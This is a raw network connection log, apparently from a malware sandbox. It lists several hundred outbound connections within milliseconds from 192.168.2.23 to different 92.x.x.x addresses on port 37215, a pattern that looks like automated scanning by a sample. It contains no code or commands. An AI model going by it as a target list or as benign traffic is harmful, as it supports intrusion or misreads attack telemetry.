Feb 20, 2022 15:51:04.889264107 CET	1898	37215	192.168.2.23	92.79.240.231
Feb 20, 2022 15:51:04.889297962 CET	1898	37215	192.168.2.23	92.98.184.70
Feb 20, 2022 15:51:04.889300108 CET	1898	37215	192.168.2.23	92.196.63.146
Feb 20, 2022 15:51:04.889317989 CET	1386	37215	192.168.2.23	92.176.174.169
Feb 20, 2022 15:51:04.889321089 CET	1898	37215	192.168.2.23	92.204.72.62
Feb 20, 2022 15:51:04.889341116 CET	1898	37215	192.168.2.23	92.216.119.47
Feb 20, 2022 15:51:04.889370918 CET	1898	37215	192.168.2.23	92.237.186.207
Feb 20, 2022 15:51:04.889394999 CET	1898	37215	192.168.2.23	92.190.69.59
Feb 20, 2022 15:51:04.889410973 CET	1386	37215	192.168.2.23	92.78.217.216
Feb 20, 2022 15:51:04.889420033 CET	1898	37215	192.168.2.23	92.36.59.249
Feb 20, 2022 15:51:04.889450073 CET	1898	37215	192.168.2.23	92.8.43.73
Feb 20, 2022 15:51:04.889483929 CET	1898	37215	192.168.2.23	92.90.246.48
Feb 20, 2022 15:51:04.889502048 CET	1898	37215	192.168.2.23	92.160.89.30
Feb 20, 2022 15:51:04.889514923 CET	1386	37215	192.168.2.23	92.21.69.40
Feb 20, 2022 15:51:04.889535904 CET	1898	37215	192.168.2.23	92.137.178.198
Feb 20, 2022 15:51:04.889549971 CET	1898	37215	192.168.2.23	92.243.29.19
Feb 20, 2022 15:51:04.889559031 CET	1898	37215	192.168.2.23	92.122.126.147
Feb 20, 2022 15:51:04.889592886 CET	1898	37215	192.168.2.23	92.176.253.36
Feb 20, 2022 15:51:04.889616966 CET	1898	37215	192.168.2.23	92.189.25.48
Feb 20, 2022 15:51:04.889622927 CET	1386	37215	192.168.2.23	92.23.215.132
Feb 20, 2022 15:51:04.889667034 CET	1898	37215	192.168.2.23	92.225.56.39
Feb 20, 2022 15:51:04.889688969 CET	1898	37215	192.168.2.23	92.192.75.127
Feb 20, 2022 15:51:04.889689922 CET	1898	37215	192.168.2.23	92.44.147.2
Feb 20, 2022 15:51:04.889729977 CET	1386	37215	192.168.2.23	92.124.236.237
Feb 20, 2022 15:51:04.889735937 CET	1386	37215	192.168.2.23	92.150.246.46
Feb 20, 2022 15:51:04.889736891 CET	1898	37215	192.168.2.23	92.123.130.238
Feb 20, 2022 15:51:04.889776945 CET	1898	37215	192.168.2.23	92.223.228.182
Feb 20, 2022 15:51:04.889789104 CET	1386	37215	192.168.2.23	92.32.153.102
Feb 20, 2022 15:51:04.889795065 CET	1898	37215	192.168.2.23	92.232.11.62
Feb 20, 2022 15:51:04.889816046 CET	1898	37215	192.168.2.23	92.124.157.113
Feb 20, 2022 15:51:04.889831066 CET	1898	37215	192.168.2.23	92.47.111.198
Feb 20, 2022 15:51:04.889837027 CET	1898	37215	192.168.2.23	92.178.101.45
Feb 20, 2022 15:51:04.889838934 CET	1386	37215	192.168.2.23	92.238.191.235
Feb 20, 2022 15:51:04.889861107 CET	1386	37215	192.168.2.23	92.153.75.123
Feb 20, 2022 15:51:04.889893055 CET	1898	37215	192.168.2.23	92.183.122.178
Feb 20, 2022 15:51:04.889913082 CET	1898	37215	192.168.2.23	92.198.124.66
Feb 20, 2022 15:51:04.889921904 CET	1898	37215	192.168.2.23	92.66.247.174
Feb 20, 2022 15:51:04.889930010 CET	1386	37215	192.168.2.23	92.101.175.60
Feb 20, 2022 15:51:04.889940977 CET	1898	37215	192.168.2.23	92.216.108.220
Feb 20, 2022 15:51:04.889961004 CET	1898	37215	192.168.2.23	92.95.42.111
Feb 20, 2022 15:51:04.889974117 CET	1386	37215	192.168.2.23	92.219.1.248
Feb 20, 2022 15:51:04.889977932 CET	1898	37215	192.168.2.23	92.214.21.21
Feb 20, 2022 15:51:04.889993906 CET	1386	37215	192.168.2.23	92.109.173.243
Feb 20, 2022 15:51:04.890011072 CET	1386	37215	192.168.2.23	92.151.222.35
Feb 20, 2022 15:51:04.890013933 CET	1898	37215	192.168.2.23	92.215.128.249
Feb 20, 2022 15:51:04.890032053 CET	1386	37215	192.168.2.23	92.166.167.155
Feb 20, 2022 15:51:04.890038013 CET	1898	37215	192.168.2.23	92.119.214.248
Feb 20, 2022 15:51:04.890055895 CET	1898	37215	192.168.2.23	92.1.86.156
Feb 20, 2022 15:51:04.890074015 CET	1386	37215	192.168.2.23	92.122.0.207
Feb 20, 2022 15:51:04.890089989 CET	1898	37215	192.168.2.23	92.227.93.246
Feb 20, 2022 15:51:04.890109062 CET	1898	37215	192.168.2.23	92.221.7.4
Feb 20, 2022 15:51:04.890113115 CET	1386	37215	192.168.2.23	92.75.26.126
Feb 20, 2022 15:51:04.890132904 CET	1898	37215	192.168.2.23	92.83.119.123
Feb 20, 2022 15:51:04.890161037 CET	1898	37215	192.168.2.23	92.216.107.222
Feb 20, 2022 15:51:04.890180111 CET	1898	37215	192.168.2.23	92.98.94.12
Feb 20, 2022 15:51:04.890180111 CET	1386	37215	192.168.2.23	92.137.102.5
Feb 20, 2022 15:51:04.890193939 CET	1386	37215	192.168.2.23	92.244.237.17
Feb 20, 2022 15:51:04.890213966 CET	1898	37215	192.168.2.23	92.140.170.170
Feb 20, 2022 15:51:04.890242100 CET	1386	37215	192.168.2.23	92.113.66.35
Feb 20, 2022 15:51:04.890245914 CET	1898	37215	192.168.2.23	92.230.159.49
Feb 20, 2022 15:51:04.890268087 CET	1898	37215	192.168.2.23	92.82.155.243
Feb 20, 2022 15:51:04.890279055 CET	1386	37215	192.168.2.23	92.37.135.224
Feb 20, 2022 15:51:04.890296936 CET	1898	37215	192.168.2.23	92.201.32.200
Feb 20, 2022 15:51:04.890317917 CET	1386	37215	192.168.2.23	92.179.122.33
Feb 20, 2022 15:51:04.890320063 CET	1898	37215	192.168.2.23	92.115.241.162
Feb 20, 2022 15:51:04.890328884 CET	1898	37215	192.168.2.23	92.126.230.0
Feb 20, 2022 15:51:04.890342951 CET	1386	37215	192.168.2.23	92.82.187.252
Feb 20, 2022 15:51:04.890366077 CET	1898	37215	192.168.2.23	92.189.20.58
Feb 20, 2022 15:51:04.890377998 CET	1386	37215	192.168.2.23	92.226.238.42
Feb 20, 2022 15:51:04.890409946 CET	1898	37215	192.168.2.23	92.37.32.249
Feb 20, 2022 15:51:04.890434027 CET	1898	37215	192.168.2.23	92.94.115.235
Feb 20, 2022 15:51:04.890441895 CET	1386	37215	192.168.2.23	92.151.1.87
Feb 20, 2022 15:51:04.890454054 CET	1898	37215	192.168.2.23	92.46.135.30
Feb 20, 2022 15:51:04.890456915 CET	1386	37215	192.168.2.23	92.219.2.49
Feb 20, 2022 15:51:04.890464067 CET	1898	37215	192.168.2.23	92.130.126.80
Feb 20, 2022 15:51:04.890489101 CET	1898	37215	192.168.2.23	92.99.74.207
Feb 20, 2022 15:51:04.890511036 CET	1898	37215	192.168.2.23	92.211.130.180
Feb 20, 2022 15:51:04.890518904 CET	1386	37215	192.168.2.23	92.190.249.66
Feb 20, 2022 15:51:04.890546083 CET	1898	37215	192.168.2.23	92.234.14.176
Feb 20, 2022 15:51:04.890558004 CET	1898	37215	192.168.2.23	92.241.195.90
Feb 20, 2022 15:51:04.890583992 CET	1898	37215	192.168.2.23	92.93.224.69
Feb 20, 2022 15:51:04.890588045 CET	1386	37215	192.168.2.23	92.37.148.25
Feb 20, 2022 15:51:04.890605927 CET	1898	37215	192.168.2.23	92.115.96.28
Feb 20, 2022 15:51:04.890611887 CET	1898	37215	192.168.2.23	92.84.73.6
Feb 20, 2022 15:51:04.890623093 CET	1386	37215	192.168.2.23	92.103.211.177
Feb 20, 2022 15:51:04.890628099 CET	1386	37215	192.168.2.23	92.54.209.90
Feb 20, 2022 15:51:04.890646935 CET	1898	37215	192.168.2.23	92.167.230.31
Feb 20, 2022 15:51:04.890666008 CET	1898	37215	192.168.2.23	92.182.191.44
Feb 20, 2022 15:51:04.890682936 CET	1386	37215	192.168.2.23	92.133.135.7
Feb 20, 2022 15:51:04.890696049 CET	1898	37215	192.168.2.23	92.43.96.60
Feb 20, 2022 15:51:04.890705109 CET	1386	37215	192.168.2.23	92.4.95.168
Feb 20, 2022 15:51:04.890717030 CET	1898	37215	192.168.2.23	92.3.110.69
Feb 20, 2022 15:51:04.890748024 CET	1386	37215	192.168.2.23	92.39.193.215
Feb 20, 2022 15:51:04.890755892 CET	1898	37215	192.168.2.23	92.254.136.219
Feb 20, 2022 15:51:04.890784979 CET	1386	37215	192.168.2.23	92.62.199.250
Feb 20, 2022 15:51:04.890788078 CET	1898	37215	192.168.2.23	92.194.43.237
Feb 20, 2022 15:51:04.890820026 CET	1386	37215	192.168.2.23	92.91.113.110
Feb 20, 2022 15:51:04.890834093 CET	1898	37215	192.168.2.23	92.85.196.219
Feb 20, 2022 15:51:04.890846968 CET	1898	37215	192.168.2.23	92.83.217.205
Feb 20, 2022 15:51:04.890856981 CET	1898	37215	192.168.2.23	92.162.181.70
Feb 20, 2022 15:51:04.890866041 CET	1386	37215	192.168.2.23	92.138.7.114
Feb 20, 2022 15:51:04.890891075 CET	1898	37215	192.168.2.23	92.100.73.229
Feb 20, 2022 15:51:04.890908957 CET	1386	37215	192.168.2.23	92.75.65.149
Feb 20, 2022 15:51:04.890925884 CET	1898	37215	192.168.2.23	92.190.211.200
Feb 20, 2022 15:51:04.890932083 CET	1898	37215	192.168.2.23	92.62.121.190
Feb 20, 2022 15:51:04.890940905 CET	1386	37215	192.168.2.23	92.98.238.201
Feb 20, 2022 15:51:04.890954971 CET	1898	37215	192.168.2.23	92.247.245.119
Feb 20, 2022 15:51:04.890974998 CET	1386	37215	192.168.2.23	92.231.203.71
Feb 20, 2022 15:51:04.890976906 CET	1898	37215	192.168.2.23	92.118.207.238
Feb 20, 2022 15:51:04.890993118 CET	1898	37215	192.168.2.23	92.38.172.82
Feb 20, 2022 15:51:04.891004086 CET	1386	37215	192.168.2.23	92.247.121.207
Feb 20, 2022 15:51:04.891016960 CET	1898	37215	192.168.2.23	92.251.173.130
Feb 20, 2022 15:51:04.891041994 CET	1898	37215	192.168.2.23	92.0.16.231
Feb 20, 2022 15:51:04.891067028 CET	1898	37215	192.168.2.23	92.67.99.41
Feb 20, 2022 15:51:04.891088963 CET	1898	37215	192.168.2.23	92.230.199.69
Feb 20, 2022 15:51:04.891104937 CET	1898	37215	192.168.2.23	92.121.69.109
Feb 20, 2022 15:51:04.891114950 CET	1386	37215	192.168.2.23	92.45.20.222
Feb 20, 2022 15:51:04.891124964 CET	1898	37215	192.168.2.23	92.27.15.181
Feb 20, 2022 15:51:04.891159058 CET	1898	37215	192.168.2.23	92.248.169.213
Feb 20, 2022 15:51:04.891161919 CET	1386	37215	192.168.2.23	92.67.24.179
Feb 20, 2022 15:51:04.891181946 CET	1386	37215	192.168.2.23	92.134.57.156
Feb 20, 2022 15:51:04.891184092 CET	1898	37215	192.168.2.23	92.157.246.204
Feb 20, 2022 15:51:04.891215086 CET	1898	37215	192.168.2.23	92.52.212.217
Feb 20, 2022 15:51:04.891216993 CET	1386	37215	192.168.2.23	92.78.152.88
Feb 20, 2022 15:51:04.891228914 CET	1386	37215	192.168.2.23	92.42.211.245
Feb 20, 2022 15:51:04.891232014 CET	1386	37215	192.168.2.23	92.76.31.132
Feb 20, 2022 15:51:04.891249895 CET	1898	37215	192.168.2.23	92.239.13.221
Feb 20, 2022 15:51:04.891261101 CET	1898	37215	192.168.2.23	92.180.180.201
Feb 20, 2022 15:51:04.891280890 CET	1898	37215	192.168.2.23	92.161.74.189
Feb 20, 2022 15:51:04.891305923 CET	1898	37215	192.168.2.23	92.246.248.185
Feb 20, 2022 15:51:04.891324997 CET	1386	37215	192.168.2.23	92.28.42.186
Feb 20, 2022 15:51:04.891339064 CET	1898	37215	192.168.2.23	92.67.61.43
Feb 20, 2022 15:51:04.891351938 CET	1898	37215	192.168.2.23	92.156.168.164
Feb 20, 2022 15:51:04.891371965 CET	1386	37215	192.168.2.23	92.159.246.24
Feb 20, 2022 15:51:04.891374111 CET	1898	37215	192.168.2.23	92.157.163.2
Feb 20, 2022 15:51:04.891386032 CET	1386	37215	192.168.2.23	92.106.32.242
Feb 20, 2022 15:51:04.891387939 CET	1898	37215	192.168.2.23	92.18.243.213
Feb 20, 2022 15:51:04.891421080 CET	1898	37215	192.168.2.23	92.11.196.2
Feb 20, 2022 15:51:04.891433001 CET	1386	37215	192.168.2.23	92.2.193.199
Feb 20, 2022 15:51:04.891462088 CET	1898	37215	192.168.2.23	92.51.86.32
Feb 20, 2022 15:51:04.891478062 CET	1386	37215	192.168.2.23	92.160.137.70
Feb 20, 2022 15:51:04.891513109 CET	1386	37215	192.168.2.23	92.254.216.158
Feb 20, 2022 15:51:04.891514063 CET	1898	37215	192.168.2.23	92.225.194.34
Feb 20, 2022 15:51:04.891530037 CET	1898	37215	192.168.2.23	92.212.208.234
Feb 20, 2022 15:51:04.891534090 CET	1898	37215	192.168.2.23	92.96.91.129
Feb 20, 2022 15:51:04.891546965 CET	1386	37215	192.168.2.23	92.109.132.91
Feb 20, 2022 15:51:04.891580105 CET	1898	37215	192.168.2.23	92.159.66.233
Feb 20, 2022 15:51:04.891582012 CET	1386	37215	192.168.2.23	92.168.234.117
Feb 20, 2022 15:51:04.891623020 CET	1898	37215	192.168.2.23	92.66.210.1
Feb 20, 2022 15:51:04.891624928 CET	1898	37215	192.168.2.23	92.190.33.137
Feb 20, 2022 15:51:04.891630888 CET	1898	37215	192.168.2.23	92.149.164.162
Feb 20, 2022 15:51:04.891638994 CET	1386	37215	192.168.2.23	92.54.175.65
Feb 20, 2022 15:51:04.891655922 CET	1386	37215	192.168.2.23	92.100.82.139
Feb 20, 2022 15:51:04.891665936 CET	1898	37215	192.168.2.23	92.40.166.133
Feb 20, 2022 15:51:04.891685009 CET	1898	37215	192.168.2.23	92.41.150.74
Feb 20, 2022 15:51:04.891705036 CET	1386	37215	192.168.2.23	92.27.104.68
Feb 20, 2022 15:51:04.891726017 CET	1898	37215	192.168.2.23	92.4.204.74
Feb 20, 2022 15:51:04.891741991 CET	1898	37215	192.168.2.23	92.176.212.147
Feb 20, 2022 15:51:04.891745090 CET	1386	37215	192.168.2.23	92.129.108.24
Feb 20, 2022 15:51:04.891761065 CET	1898	37215	192.168.2.23	92.96.107.180
Feb 20, 2022 15:51:04.891776085 CET	1386	37215	192.168.2.23	92.78.255.26
Feb 20, 2022 15:51:04.891788006 CET	1898	37215	192.168.2.23	92.242.11.88
Feb 20, 2022 15:51:04.891808987 CET	1386	37215	192.168.2.23	92.129.238.116
Feb 20, 2022 15:51:04.891819000 CET	1898	37215	192.168.2.23	92.135.78.69
Feb 20, 2022 15:51:04.891846895 CET	1898	37215	192.168.2.23	92.178.70.125
Feb 20, 2022 15:51:04.891849041 CET	1386	37215	192.168.2.23	92.99.61.245
Feb 20, 2022 15:51:04.891879082 CET	1898	37215	192.168.2.23	92.63.252.131
Feb 20, 2022 15:51:04.891922951 CET	1386	37215	192.168.2.23	92.95.122.69
Feb 20, 2022 15:51:04.891925097 CET	1898	37215	192.168.2.23	92.186.113.112
Feb 20, 2022 15:51:04.891949892 CET	1898	37215	192.168.2.23	92.146.6.69
Feb 20, 2022 15:51:04.891980886 CET	1386	37215	192.168.2.23	92.159.120.223
Feb 20, 2022 15:51:04.891988039 CET	1386	37215	192.168.2.23	92.174.236.3
Feb 20, 2022 15:51:04.891995907 CET	1898	37215	192.168.2.23	92.11.126.247
Feb 20, 2022 15:51:04.892003059 CET	1898	37215	192.168.2.23	92.5.117.145
Feb 20, 2022 15:51:04.892019987 CET	1386	37215	192.168.2.23	92.193.148.198
Feb 20, 2022 15:51:04.892025948 CET	1386	37215	192.168.2.23	92.65.162.34
Feb 20, 2022 15:51:04.892026901 CET	1898	37215	192.168.2.23	92.114.35.153
Feb 20, 2022 15:51:04.892055988 CET	1898	37215	192.168.2.23	92.101.9.242
Feb 20, 2022 15:51:04.892059088 CET	1898	37215	192.168.2.23	92.224.144.217
Feb 20, 2022 15:51:04.892081022 CET	1386	37215	192.168.2.23	92.103.17.162
Feb 20, 2022 15:51:04.892100096 CET	1898	37215	192.168.2.23	92.62.73.251
Feb 20, 2022 15:51:04.892131090 CET	1898	37215	192.168.2.23	92.150.95.141
Feb 20, 2022 15:51:04.892131090 CET	1898	37215	192.168.2.23	92.183.164.239
Feb 20, 2022 15:51:04.892151117 CET	1386	37215	192.168.2.23	92.204.80.239
Feb 20, 2022 15:51:04.892154932 CET	1898	37215	192.168.2.23	92.184.94.149
Feb 20, 2022 15:51:04.892175913 CET	1386	37215	192.168.2.23	92.124.9.35
Feb 20, 2022 15:51:04.892183065 CET	1386	37215	192.168.2.23	92.208.76.78
Feb 20, 2022 15:51:04.892198086 CET	1898	37215	192.168.2.23	92.226.45.238
Feb 20, 2022 15:51:04.892200947 CET	1898	37215	192.168.2.23	92.211.86.22
Feb 20, 2022 15:51:04.892220974 CET	1386	37215	192.168.2.23	92.220.23.43
Feb 20, 2022 15:51:04.892240047 CET	1898	37215	192.168.2.23	92.122.89.154
Feb 20, 2022 15:51:04.892266989 CET	1898	37215	192.168.2.23	92.152.53.18
Feb 20, 2022 15:51:04.892271042 CET	1386	37215	192.168.2.23	92.145.22.30
Feb 20, 2022 15:51:04.892288923 CET	1898	37215	192.168.2.23	92.195.138.92
Feb 20, 2022 15:51:04.892297983 CET	1898	37215	192.168.2.23	92.37.40.158
Feb 20, 2022 15:51:04.892304897 CET	1386	37215	192.168.2.23	92.141.77.131
Feb 20, 2022 15:51:04.892332077 CET	1898	37215	192.168.2.23	92.27.176.25
Feb 20, 2022 15:51:04.892359972 CET	1898	37215	192.168.2.23	92.203.210.229
Feb 20, 2022 15:51:04.892364979 CET	1386	37215	192.168.2.23	92.38.53.226
Feb 20, 2022 15:51:04.892385006 CET	1898	37215	192.168.2.23	92.173.223.39
Feb 20, 2022 15:51:04.892390013 CET	1386	37215	192.168.2.23	92.213.155.83
Feb 20, 2022 15:51:04.892410040 CET	1898	37215	192.168.2.23	92.64.181.40
Feb 20, 2022 15:51:04.892441988 CET	1386	37215	192.168.2.23	92.104.81.98
Feb 20, 2022 15:51:04.892453909 CET	1898	37215	192.168.2.23	92.212.165.188
Feb 20, 2022 15:51:04.892469883 CET	1386	37215	192.168.2.23	92.213.89.214
Feb 20, 2022 15:51:04.892479897 CET	1898	37215	192.168.2.23	92.56.176.24
Feb 20, 2022 15:51:04.892493010 CET	1898	37215	192.168.2.23	92.6.109.17
Feb 20, 2022 15:51:04.892503023 CET	1386	37215	192.168.2.23	92.133.221.214
Feb 20, 2022 15:51:04.892503023 CET	1898	37215	192.168.2.23	92.244.51.10
Feb 20, 2022 15:51:04.892525911 CET	1898	37215	192.168.2.23	92.250.0.251
Feb 20, 2022 15:51:04.892549992 CET	1898	37215	192.168.2.23	92.182.173.207
Feb 20, 2022 15:51:04.892554998 CET	1386	37215	192.168.2.23	92.212.52.135
Feb 20, 2022 15:51:04.892577887 CET	1898	37215	192.168.2.23	92.136.72.155
Feb 20, 2022 15:51:04.892592907 CET	1898	37215	192.168.2.23	92.147.205.33
Feb 20, 2022 15:51:04.892626047 CET	1898	37215	192.168.2.23	92.4.12.169
Feb 20, 2022 15:51:04.892630100 CET	1386	37215	192.168.2.23	92.232.146.129
Feb 20, 2022 15:51:04.892642975 CET	1898	37215	192.168.2.23	92.28.114.246
Feb 20, 2022 15:51:04.892669916 CET	1386	37215	192.168.2.23	92.234.83.203
Feb 20, 2022 15:51:04.892674923 CET	1898	37215	192.168.2.23	92.187.116.148
Feb 20, 2022 15:51:04.892702103 CET	1386	37215	192.168.2.23	92.8.34.133
Feb 20, 2022 15:51:04.892705917 CET	1898	37215	192.168.2.23	92.15.168.0
Feb 20, 2022 15:51:04.892724037 CET	1898	37215	192.168.2.23	92.86.48.200
Feb 20, 2022 15:51:04.892739058 CET	1386	37215	192.168.2.23	92.115.48.42
Feb 20, 2022 15:51:04.892762899 CET	1898	37215	192.168.2.23	92.159.16.11
Feb 20, 2022 15:51:04.892774105 CET	1386	37215	192.168.2.23	92.101.71.23
Feb 20, 2022 15:51:04.892795086 CET	1898	37215	192.168.2.23	92.28.144.226
Feb 20, 2022 15:51:04.892807007 CET	1386	37215	192.168.2.23	92.227.202.194
Feb 20, 2022 15:51:04.892816067 CET	1898	37215	192.168.2.23	92.31.117.35
Feb 20, 2022 15:51:04.892843962 CET	1898	37215	192.168.2.23	92.224.57.52
Feb 20, 2022 15:51:04.892853022 CET	1386	37215	192.168.2.23	92.72.129.232
Feb 20, 2022 15:51:04.892885923 CET	1386	37215	192.168.2.23	92.113.87.71
Feb 20, 2022 15:51:04.892891884 CET	1898	37215	192.168.2.23	92.62.186.164
Feb 20, 2022 15:51:04.892915010 CET	1898	37215	192.168.2.23	92.163.239.67
Feb 20, 2022 15:51:04.892923117 CET	1386	37215	192.168.2.23	92.98.247.84
Feb 20, 2022 15:51:04.892940044 CET	1898	37215	192.168.2.23	92.221.41.245
Feb 20, 2022 15:51:04.892962933 CET	1898	37215	192.168.2.23	92.157.49.17
Feb 20, 2022 15:51:04.892981052 CET	1386	37215	192.168.2.23	92.97.129.200
Feb 20, 2022 15:51:04.892990112 CET	1898	37215	192.168.2.23	92.38.97.184
Feb 20, 2022 15:51:04.893001080 CET	1386	37215	192.168.2.23	92.176.96.53
Feb 20, 2022 15:51:04.893009901 CET	1898	37215	192.168.2.23	92.213.214.208
Feb 20, 2022 15:51:04.893037081 CET	1386	37215	192.168.2.23	92.90.37.222
Feb 20, 2022 15:51:04.893052101 CET	1898	37215	192.168.2.23	92.134.34.128
Feb 20, 2022 15:51:04.893065929 CET	1898	37215	192.168.2.23	92.187.240.1
Feb 20, 2022 15:51:04.893091917 CET	1898	37215	192.168.2.23	92.127.234.154
Feb 20, 2022 15:51:04.893094063 CET	1386	37215	192.168.2.23	92.93.55.126
Feb 20, 2022 15:51:04.893121004 CET	1898	37215	192.168.2.23	92.152.40.28
Feb 20, 2022 15:51:04.893148899 CET	1898	37215	192.168.2.23	92.111.36.167
Feb 20, 2022 15:51:04.893172026 CET	1386	37215	192.168.2.23	92.224.183.196
Feb 20, 2022 15:51:04.893191099 CET	1898	37215	192.168.2.23	92.168.33.88
Feb 20, 2022 15:51:04.893199921 CET	1386	37215	192.168.2.23	92.255.222.69
Feb 20, 2022 15:51:04.893222094 CET	1898	37215	192.168.2.23	92.55.173.121
Feb 20, 2022 15:51:04.893240929 CET	1898	37215	192.168.2.23	92.45.117.214
Feb 20, 2022 15:51:04.893244982 CET	1898	37215	192.168.2.23	92.5.111.142
Feb 20, 2022 15:51:04.893260956 CET	1386	37215	192.168.2.23	92.107.44.186
Feb 20, 2022 15:51:04.893264055 CET	1386	37215	192.168.2.23	92.127.188.145
Feb 20, 2022 15:51:04.893270969 CET	1898	37215	192.168.2.23	92.86.6.230
Feb 20, 2022 15:51:04.893285990 CET	1898	37215	192.168.2.23	92.79.143.62
Feb 20, 2022 15:51:04.893301010 CET	1386	37215	192.168.2.23	92.115.151.129
Feb 20, 2022 15:51:04.893311977 CET	1898	37215	192.168.2.23	92.46.130.95
Feb 20, 2022 15:51:04.893332005 CET	1898	37215	192.168.2.23	92.16.206.16
Feb 20, 2022 15:51:04.893345118 CET	1386	37215	192.168.2.23	92.33.251.190
Feb 20, 2022 15:51:04.893354893 CET	1898	37215	192.168.2.23	92.109.38.245
Feb 20, 2022 15:51:04.893364906 CET	1898	37215	192.168.2.23	92.228.218.37
Feb 20, 2022 15:51:04.893373966 CET	1386	37215	192.168.2.23	92.69.132.0
Feb 20, 2022 15:51:04.893423080 CET	1898	37215	192.168.2.23	92.63.20.158
Feb 20, 2022 15:51:04.893424988 CET	1386	37215	192.168.2.23	92.120.230.217
Feb 20, 2022 15:51:04.893441916 CET	1898	37215	192.168.2.23	92.131.81.18
Feb 20, 2022 15:51:04.893454075 CET	1386	37215	192.168.2.23	92.254.27.103
Feb 20, 2022 15:51:04.893462896 CET	1898	37215	192.168.2.23	92.180.93.166
Feb 20, 2022 15:51:04.893472910 CET	1898	37215	192.168.2.23	92.123.72.136
Feb 20, 2022 15:51:04.893498898 CET	1386	37215	192.168.2.23	92.239.161.180
Feb 20, 2022 15:51:04.893521070 CET	1898	37215	192.168.2.23	92.191.207.237
Feb 20, 2022 15:51:04.893524885 CET	1898	37215	192.168.2.23	92.135.14.27
Feb 20, 2022 15:51:04.893538952 CET	1898	37215	192.168.2.23	92.170.105.205
Feb 20, 2022 15:51:04.893559933 CET	1898	37215	192.168.2.23	92.29.91.255
Feb 20, 2022 15:51:04.893587112 CET	1898	37215	192.168.2.23	92.198.78.88
Feb 20, 2022 15:51:04.893589973 CET	1386	37215	192.168.2.23	92.148.92.77
Feb 20, 2022 15:51:04.893589973 CET	1386	37215	192.168.2.23	92.29.117.214
Feb 20, 2022 15:51:04.893605947 CET	1898	37215	192.168.2.23	92.241.175.218
Feb 20, 2022 15:51:04.893626928 CET	1898	37215	192.168.2.23	92.20.31.171
Feb 20, 2022 15:51:04.893635988 CET	1386	37215	192.168.2.23	92.218.238.114
Feb 20, 2022 15:51:04.893661976 CET	1898	37215	192.168.2.23	92.85.132.20
Feb 20, 2022 15:51:04.893683910 CET	1898	37215	192.168.2.23	92.137.188.191
Feb 20, 2022 15:51:04.893683910 CET	1386	37215	192.168.2.23	92.165.39.236
Feb 20, 2022 15:51:04.893706083 CET	1898	37215	192.168.2.23	92.102.75.63
Feb 20, 2022 15:51:04.893728971 CET	1386	37215	192.168.2.23	92.34.234.139
Feb 20, 2022 15:51:04.893749952 CET	1898	37215	192.168.2.23	92.14.217.222
Feb 20, 2022 15:51:04.893753052 CET	1898	37215	192.168.2.23	92.74.37.54
Feb 20, 2022 15:51:04.893757105 CET	1386	37215	192.168.2.23	92.244.252.161
Feb 20, 2022 15:51:04.893773079 CET	1898	37215	192.168.2.23	92.151.215.254
Feb 20, 2022 15:51:04.893790007 CET	1386	37215	192.168.2.23	92.170.60.75
Feb 20, 2022 15:51:04.893806934 CET	1898	37215	192.168.2.23	92.63.69.111
Feb 20, 2022 15:51:04.893832922 CET	1386	37215	192.168.2.23	92.227.99.125
Feb 20, 2022 15:51:04.893838882 CET	1898	37215	192.168.2.23	92.172.225.17
Feb 20, 2022 15:51:04.893858910 CET	1898	37215	192.168.2.23	92.71.52.218
Feb 20, 2022 15:51:04.893887997 CET	1386	37215	192.168.2.23	92.82.207.172
Feb 20, 2022 15:51:04.893893003 CET	1898	37215	192.168.2.23	92.88.99.214
Feb 20, 2022 15:51:04.893932104 CET	1386	37215	192.168.2.23	92.87.250.53
Feb 20, 2022 15:51:04.893954039 CET	1898	37215	192.168.2.23	92.50.222.71
Feb 20, 2022 15:51:04.893979073 CET	1898	37215	192.168.2.23	92.201.106.212
Feb 20, 2022 15:51:04.893990993 CET	1386	37215	192.168.2.23	92.29.119.161
Feb 20, 2022 15:51:04.893992901 CET	1898	37215	192.168.2.23	92.141.15.82
Feb 20, 2022 15:51:04.894006014 CET	1898	37215	192.168.2.23	92.5.64.190
Feb 20, 2022 15:51:04.894010067 CET	1898	37215	192.168.2.23	92.179.255.190
Feb 20, 2022 15:51:04.894023895 CET	1386	37215	192.168.2.23	92.252.208.4
Feb 20, 2022 15:51:04.894038916 CET	1898	37215	192.168.2.23	92.174.38.155
Feb 20, 2022 15:51:04.894057035 CET	1898	37215	192.168.2.23	92.107.2.209
Feb 20, 2022 15:51:04.894072056 CET	1386	37215	192.168.2.23	92.54.154.191
Feb 20, 2022 15:51:04.894094944 CET	1898	37215	192.168.2.23	92.170.224.87
Feb 20, 2022 15:51:04.894107103 CET	1898	37215	192.168.2.23	92.236.150.13
Feb 20, 2022 15:51:04.894138098 CET	1898	37215	192.168.2.23	92.165.59.97
Feb 20, 2022 15:51:04.894140005 CET	1386	37215	192.168.2.23	92.57.57.91
Feb 20, 2022 15:51:04.894155979 CET	1898	37215	192.168.2.23	92.56.164.76
Feb 20, 2022 15:51:04.894182920 CET	1898	37215	192.168.2.23	92.144.162.41
Feb 20, 2022 15:51:04.894215107 CET	1386	37215	192.168.2.23	92.122.100.107
Feb 20, 2022 15:51:04.894218922 CET	1386	37215	192.168.2.23	92.255.181.81
Feb 20, 2022 15:51:04.894236088 CET	1898	37215	192.168.2.23	92.108.155.45
Feb 20, 2022 15:51:04.894241095 CET	1898	37215	192.168.2.23	92.99.149.247
Feb 20, 2022 15:51:04.894253016 CET	1386	37215	192.168.2.23	92.205.27.1
Feb 20, 2022 15:51:04.894264936 CET	1898	37215	192.168.2.23	92.18.142.30
Feb 20, 2022 15:51:04.894283056 CET	1386	37215	192.168.2.23	92.228.118.131
Feb 20, 2022 15:51:04.894287109 CET	1898	37215	192.168.2.23	92.59.213.218
Feb 20, 2022 15:51:04.894309998 CET	1898	37215	192.168.2.23	92.88.230.59
Feb 20, 2022 15:51:04.894328117 CET	1386	37215	192.168.2.23	92.236.94.26
Feb 20, 2022 15:51:04.894331932 CET	1898	37215	192.168.2.23	92.206.230.154
Feb 20, 2022 15:51:04.894362926 CET	1386	37215	192.168.2.23	92.52.228.119
Feb 20, 2022 15:51:04.894367933 CET	1898	37215	192.168.2.23	92.173.141.72
Feb 20, 2022 15:51:04.894393921 CET	1386	37215	192.168.2.23	92.168.193.250
Feb 20, 2022 15:51:04.894423962 CET	1898	37215	192.168.2.23	92.95.199.130
Feb 20, 2022 15:51:04.894438982 CET	1898	37215	192.168.2.23	92.227.105.204
Feb 20, 2022 15:51:04.894444942 CET	1898	37215	192.168.2.23	92.146.37.198
Feb 20, 2022 15:51:04.894450903 CET	1386	37215	192.168.2.23	92.7.22.214
Feb 20, 2022 15:51:04.894467115 CET	1898	37215	192.168.2.23	92.181.160.195
